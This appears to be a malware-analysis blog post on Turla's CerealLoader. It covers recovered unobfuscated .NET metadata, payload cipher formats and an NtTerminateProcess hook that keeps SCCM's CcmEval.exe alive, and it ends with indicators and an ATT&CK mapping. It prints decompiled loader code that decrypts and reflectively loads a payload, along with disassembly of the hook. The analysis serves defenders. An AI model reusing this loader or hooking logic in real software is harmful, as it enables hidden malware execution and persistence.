Turla's CerealLoader still carries its unobfuscated metadata

Four of the five public CerealLoader builds still hold their pre-ConfuserEx metadata, and one hooks NtTerminateProcess so SCCM's CcmEval.exe can't exit.

Published
Reading time
13 minutes
Sample
CerealLoader (Turla Cereal toolset), Microsoft.Ceres.dll build
SHA-256
41164eb06adc72b187edaf90d73ca73be729d4ebfdecf57d7398561136941651

Four of the five public CerealLoader builds still contain the code their author wrote before obfuscating it. ConfuserEx added an obfuscated copy of the .NET metadata in a new section and pointed the CLI header at it, but the original metadata and most of its method bodies are still in the file.

Point a copy of the header back at it, and for the 2024 build ILSpy prints a method called ManagedEntryPoint and the payload path as a plain string literal. In one RC4 build it also lists the C++ string literals of a native hook that keeps SCCM’s CcmEval.exe from ever exiting.

CerealLoader is the loader in Cereal, the .NET toolset that ESET attributed to Turla on November 10 (Matías Porolli). Earlier work this post builds on:

  • ESET’s white paper explains its trick: a native entry point and a VTableFixup slot run a managed method that no managed code calls.
  • ESET’s IoC list has eleven CerealLoader hashes. Two are on MalwareBazaar and three more on Hybrid Analysis.
  • R136a1 said that CerealLoader is C++/CLI, and published a proof of concept.

What I found

  • Four builds keep their pre-ConfuserEx metadata. The names in it are MSVC C++/CLI symbols, such as __m2mep@?ManagedEntryPoint@@$$FYAXXZ, which confirms what R136a1 said.
  • The five builds use four host and payload pairs, including VMware Tools and SCCM’s health check. None of the payload paths is in ESET’s paper or IoC list.
  • Payloads are XOR with a key prepended to the file (32 bytes in 2022, 255 in 2024 and 2025) or RC4 with a 256-byte key in the loader.
  • The Microsoft.Ceres.dll build runs only inside CcmEval. It patches NtTerminateProcess to sleep forever and suspends every other thread before running its payload.
  • That build was linked with MSVC 14.50, so it is from late 2025 or later.

Five builds, five hosts

All five are x64 DLLs with COMIMAGE_FLAGS_NATIVE_ENTRYPOINT (0x10) set in the CLI header. The table uses ESET’s file names; the “proxies” column is the name in the export directory, where there is one.

BuildESET nameProxiesPayload fileCipher
13fe1eb9Microsoft.Exchange.Data.Transport.ni.dll(no exports)C:\ProgramData\Microsoft\Vault.fsc32-byte key prefix, XOR
241aac14version.dllversion.dll, 17 exportsC:\Program Files\VMware\Vmware Tools\vmtools.dat255-byte key prefix, XOR
d3b6065eversion.dllversion.dll, 17 exportssame vmtools.dat255-byte key prefix, XOR
6119d25aMicrosoft.Search.Platform.dlldbghelp.dll, 248 exportsC:\\programdata\\Microsoft\\DRM\\lAoH23.tmpRC4
41164eb0Microsoft.Ceres.dllSensApi.dll, 3 exportsc:\\Windows\\CCM\\SystemTemp\\685713b14b62RC4

The doubled backslashes are in the decrypted strings; Windows accepts them. Every proxy forwards all of its exports to C:\Windows\System32\<name>.<export>, so the real DLL keeps working. ESET’s names for the last two builds are the build-output names from their debug directories; I don’t know which name each file had when it was loaded.

The managed logic is the same in all five, and matches ESET’s Figure 5: read the payload file, decrypt it, Assembly.Load it, and call the first method of its first exported type. If anything throws, three builds write the exception text, encrypted, to an error log (listed under Indicators).

Looking for a string that wasn’t there

The first build I decoded completely was 241aac14, the 2024 version.dll. Its only string is behind ConfuserEx’s constants protection: XORed with a xorshift key stream and LZMA-compressed. I wrote a decoder for that, and it printed the VMware Tools path.

Then my extractor printed the same path a second time, as a plain string in .rdata. I had already searched the file for Vmware and found nothing, so I assumed the extractor was reading the wrong buffer. The search was the mistake: it was ASCII, and this copy is UTF-16. The bytes in front of it say what it is:

241aac14, file offset 0xc90 (RVA 0x3490)
00000c90: 7665 7273 696f 6e2e 646c 6c00 0061 4300  version.dll..aC.
00000ca0: 3a00 5c00 5000 7200 6f00 6700 7200 6100  :.\.P.r.o.g.r.a.

0x61 is 97: 48 UTF-16 characters plus one trailing flag byte. That is how the #US heap of .NET metadata stores a string literal. The active metadata of this file is at RVA 0xb598, in a .text section at the end of the file. A second metadata root, with its own BSJB signature, sits at RVA 0x30a0 in .rdata:

.rdata.textoriginal metadataactive metadata024680x00x20000x40000x60000x80000xA000bits per byte, 128-byte blocks, 45,056 bytes
241aac14: two metadata roots, one file

The small marked region in .rdata is the original metadata, 0x62c bytes with a 100-byte #US heap. The large one at the end is what ConfuserEx wrote, and it has no #US heap at all. Three of the other four builds have the same second root; the 2022 build doesn’t.

BuildActive metadataOriginal metadata
13fe1eb90xc8e8none
241aac140xb5980x30a0 (.rdata)
d3b6065e0x169600x60a0 (.rdata)
6119d25a0x1569c0x4440 (.rdata)
41164eb00x116f40x4520 (.rdata)

The loader under the obfuscation

I copied each file, changed the metadata RVA and size in the copy’s CLI header to the .rdata root, and opened the copy in ILSpy. This is the 2024 build, trimmed to the two members that matter (ILSpy’s comment on the field’s data removed):

241aac14, original metadata
public unsafe static delegate*<void> __m2mep@?ManagedEntryPoint@@$$FYAXXZ;

internal static void ManagedEntryPoint()
{
    try
    {
        string path = "C:\\Program Files\\VMware\\Vmware Tools\\vmtools.dat";
        if (!File.Exists(path))
        {
            return;
        }
        byte[] array = File.ReadAllBytes(path);
        byte[] array2 = new byte[255];                       // (1)
        Array.Copy(array, 0, array2, 0, 255);
        int num = array2.Length;
        byte[] array3 = new byte[(nint)array.LongLength - num];
        Array.Copy(array, num, array3, 0, array3.Length);
        Xor(array3, array2);
        Assembly assembly = Assembly.Load(array3);
        if (!(assembly != null))
        {
            return;
        }
        Type[] exportedTypes = assembly.GetExportedTypes();
        if ((nint)exportedTypes.LongLength > 0)
        {
            MethodInfo[] methods = exportedTypes[0].GetMethods();
            if ((nint)methods.LongLength > 0)
            {
                methods[0].Invoke(null, null);
            }
        }
    }
    catch (Exception)
    {
    }
}

Method and field names come from the metadata; local variable names are ILSpy’s. The field name is the MSVC-mangled name of the slot the C++/CLI compiler creates when native code calls a managed function. At (1) the payload file’s first 255 bytes become the XOR key for the rest.

In the obfuscated copy, the same method has an invisible Unicode name, and the path comes from the constants getter. The CLR reads only the metadata the CLI header points to, so the original copy changes nothing at run time.

I think the cause is the writer, not the author. ConfuserEx writes through dnlib, which for a module with native code keeps the original sections and appends the new metadata and IL. That fits all four files, but I haven’t checked dnlib’s source line by line.

The 2025 version.dll (d3b6065e) changed the source, not just the obfuscation. Its original metadata has random method names, and its strings are encrypted in the source, each a byte array whose first 255 bytes are the XOR key for the rest. Its #US heap holds one string, a single space.

The two RC4 builds go one step further and keep a 256-byte RC4 key in the source. Their original methods are Encrypt, two string helpers and an entry point with random names, and import_functions.

A decoy that is never called

import_functions appears in the original metadata of both RC4 builds with a C++ bool parameter called invoke. If invoke is true, it calls 57 (in 6119d25a) or 56 (in 41164eb0) Win32 functions through __unep@ pointers, with no arguments. CryptGetUserKey, OpenEventLogA and the rest have nothing to do with loading an assembly.

Referencing them makes the linker put them in the import table, so the DLL’s imports look like a normal program’s: 59 imports in 6119d25a, 74 in 41164eb0.

ESET’s Figure 8 shows the native caller in IDA’s output as LOBYTE(v1) = 0; sub_180003000(v1);. The disassembly says the same:

6119d25a, thread started from DllMain
AddressInstructionNote
002226xor ebx, ebx
002228lea r8, [rip - 0x1f]second thread, runs the payload method
lines left out
00223fcall 0x180002345CreateThread
002244test eax, eax
002246cmove ebx, eax1ebx = eax only when eax is 0
002249test ebx, ebx
00224bsetne cl2cl = 0 on both paths
00224ecall 0x180003000import_functions(cl), slot token 0x06000001

At (1), ebx is zero before the cmove and after it, whatever CreateThread returned. So at (2) the argument is always false. 41164eb0 compiles to the same cmove/setne pair. The decoy exists only to be linked.

The CcmEval build keeps its host alive

41164eb0 (Microsoft.Ceres.dll) has more native code than the others:

matchAssembly.Load, first methodMicrosoft.Ceres.dllproxy for SensApi.dllDllMain starts a threadHost name checkRC4 -> "CcmEval"prefix of own image nameno match: thread returnsPatch NtTerminateProcessjmp to Sleep(10000) loopSuspend other threadsOpenThread 0x5A, SuspendThreadManagedEntryPointVTableFixup slot 0x06000006Payload assemblyRC4 file in C:\Windows\CCM\SystemTemp
41164eb0 from DllMain to the payload

The thread from DllMain builds a 256-byte key and an 8-byte buffer on the stack and RC4-decrypts the buffer to CcmEval. The key is the same 256 bytes the managed code uses. It then compares CcmEval, case-sensitively, with the start of its own image name from QueryFullProcessImageNameA.

CcmEval.exe is the Configuration Manager client’s health evaluation tool, which lives in C:\Windows\CCM, the folder that also holds this build’s payload. ESET describes a build that does the same check against Microsoft.Exchange.Search.Service; this one does it for SCCM.

If the name matches, a second thread does this:

41164eb0, NtTerminateProcess patch (sub_2500)
AddressInstructionNote
002506lea rcx, [rip + 0x1f63]"ntdll.dll"
00250dcall 0x180002ad5GetModuleHandleA
002515lea rdx, [rip + 0x1f64]"NtTerminateProcess"
00251ccall 0x180002adbGetProcAddress
00252emov edx, 0xe14 bytes
002533mov r8d, 0x40PAGE_EXECUTE_READWRITE
00253ccall 0x180002ae1VirtualProtect
002545lea rax, [rip - 0x5c]10x24f0
00254cmov dword ptr [rbx], 0x25ffwith the word below: FF 25 00 00 00 00
002552mov qword ptr [rbx + 6], raxtarget address after the jmp
00255bmov word ptr [rbx + 4], 0jmp qword ptr [rip+0]
00256ecall 0x180002ae1VirtualProtect, old protection back

The 14 bytes at the start of NtTerminateProcess become jmp qword ptr [rip+0] followed by the address of 0x24f0, and the code at (1) is a loop of Sleep(10000) that never ends. Any thread in the process that tries to end it, through ExitProcess or anything else that reaches NtTerminateProcess, goes to sleep instead.

Then the thread suspends every other thread of its own process. Only after that does it call the managed entry point through VTableFixup slot 0x06000006.

I think the reason is the host: a health check runs, writes its results and exits, and a loader inside it would die with it. With the host’s own threads frozen and its exit path parked, the payload keeps a live process under the CcmEval.exe name for as long as it needs. That is inference; I haven’t seen the host load this file.

The thread also appends progress markers to c:\WINDOWS\CCM\SystemTemp\68571: 1 when it starts, 3 for every thread it enumerates, 4 before each suspend. There is no 2. The original metadata lists these literals as C++ string constants, so they are part of the source.

The Exchange.Data.Transport.ni.dll build (13fe1eb9) has its own small native addition: its DllMain calls LoadLibraryW on its own path, so the DLL stays mapped while its thread runs. ESET explains that the CLR uses a fake native image only for its entry point. I think this is why a native-image build pins itself and the side-loaded proxies don’t.

Payload and log formats

SchemeBuildsPayload file layoutLog
XOR, 32-byte prefix13fe1eb9key[32] ‖ data, plain[i] = data[i] ^ key[i % 32]none
XOR, 255-byte prefix241aac14, d3b6065ekey[255] ‖ data, plain[i] = data[i] ^ key[i % 255]d3b6065e: same layout, fresh random key each time
RC4, key in loader6119d25a, 41164eb0whole file RC4same RC4 key

The RC4 keys, all 256 bytes, start 65 56 67 95 53 4b 24 83 (6119d25a) and cb fd 80 a0 1f e5 96 20 (41164eb0). With the XOR builds, a payload or log file carries its own key.

Dates, and two that aren’t dates

BuildPE timestamp (UTC)Linker version
13fe1eb92022-04-27 12:22:2314.28
241aac142024-12-19 13:58:1814.29
d3b6065e2025-02-27 13:10:5014.38
6119d25a(hash, 2015-02-15 if read as a date)14.37
41164eb0(hash, 2024-08-21 if read as a date)14.50

13fe1eb9’s timestamp matches the compilation date ESET gives for the earliest CerealLoader it found (“April 27th, 2022”).

My first draft called the last two timestamps forged, because both are older than their linkers: 14.37 came with Visual Studio 2022 version 17.7 in August 2023, and 14.50 is the toolset of Visual Studio 2026, released in November 2025.

The review of this post caught what I missed. Both files have a debug entry of type 16 (IMAGE_DEBUG_TYPE_REPRO): they were linked with /Brepro, and in a reproducible build the TimeDateStamp field holds a hash of the output. Nobody forged anything.

The linker version still dates 41164eb0 to late 2025 or later. ESET dates the two compromises from November 28 and December 23, 2025.

What I couldn’t determine

  • The payloads. I have only the loaders, so I can’t say what these five loaded. ESET saw one chain in which CerealLoader loaded CerealSprinter carrying CerealHermit.
  • Most of the 2022 build’s ConfuserEx constants.
  • Where the two proxies were loaded from, and under what name. SensApi.dll next to CcmEval.exe in C:\Windows\CCM and version.dll next to the VMware Tools service are my guesses from the payload paths.
  • Why the 2022 build has no original metadata left.

The 2022 build’s constants don’t decode with the routine that works on 241aac14. By shape, the code using them is ConfuserEx’s anti-debug runtime, and that build doesn’t need them for its path, which is a native wide-string literal in plain text.

The extractor

families/cerealloader prints a build’s proxy target, VTableFixup slots, cipher and key, decrypted strings and native paths, and what the original metadata contains. It rebuilds byte arrays that ConfuserEx’s flattening spread over dozens of switch cases, and finds the constants seed by trying every ldc.i4 in the module.

With --payload FILE -o DIR it decrypts a payload or log file with the build’s scheme. I tested that part only on files I encrypted myself.

Indicators

Files (ESET’s names):

SHA-256NameSource
13fe1eb9b182b076a815f84d34b66365809d0cff32df6f5b85aa7ef4deee98e0Microsoft.Exchange.Data.Transport.ni.dllMalwareBazaar
6119d25ae51d04264384f5d738c104e42596b0774609666b357a43608a48404cMicrosoft.Search.Platform.dllMalwareBazaar
241aac14756a0f29edd084b858623db259d59c77ea44889de93431c42ff10036version.dllHybrid Analysis
d3b6065eb001d169421fcd146f64b087055dadebd973d8d69ae2bf97fbf288e2version.dllHybrid Analysis
41164eb06adc72b187edaf90d73ca73be729d4ebfdecf57d7398561136941651Microsoft.Ceres.dllHybrid Analysis

Paths written or read by the loaders (written here with single backslashes):

PathRole
C:\ProgramData\Microsoft\Vault.fscpayload, 13fe1eb9
C:\Program Files\VMware\Vmware Tools\vmtools.datpayload, 241aac14 and d3b6065e
C:\ProgramData\Microsoft\MF\4qqklzco.daterror log, d3b6065e
C:\programdata\Microsoft\DRM\lAoH23.tmppayload, 6119d25a
C:\programdata\Microsoft\DRM\oInMT8la2r.tmperror log, 6119d25a
C:\Windows\CCM\SystemTemp\685713b14b62payload, 41164eb0
C:\Windows\CCM\SystemTemp\685713b14b63error log, 41164eb0
C:\WINDOWS\CCM\SystemTemp\68571progress markers 1, 3, 4, 41164eb0

Host and file traits: a DLL with COMIMAGE_FLAGS_NATIVE_ENTRYPOINT whose exports all forward to C:\Windows\System32\<same name>; a .NET DLL with two BSJB metadata roots; a CcmEval.exe process whose NtTerminateProcess starts with FF 25 00 00 00 00.

ATT&CK

IDTechniqueHere
T1574.001Hijack Execution Flow: DLLversion.dll, SensApi.dll and dbghelp.dll proxies forwarding to System32
T1027Obfuscated Files or InformationConfuserEx control flow, renaming and constants
T1027.013Obfuscated Files or Information: Encrypted/Encoded Filepayloads under key-prefix XOR or RC4
T1140Deobfuscate/Decode Files or Informationthe loader decrypts its strings and payload
T1620Reflective Code LoadingAssembly.Load of the decrypted payload

Ending

ConfuserEx hid the VMware Tools path behind an LZMA blob, and the original path sat a few kilobytes away in plain UTF-16. The author fixed that in the next build by encrypting strings in the source. For a defender, the second BSJB root is a better tell than any of the paths: a mixed-mode DLL that has been through dnlib can carry two metadata roots, and the one in .rdata is the one worth decompiling.

Credits and further reading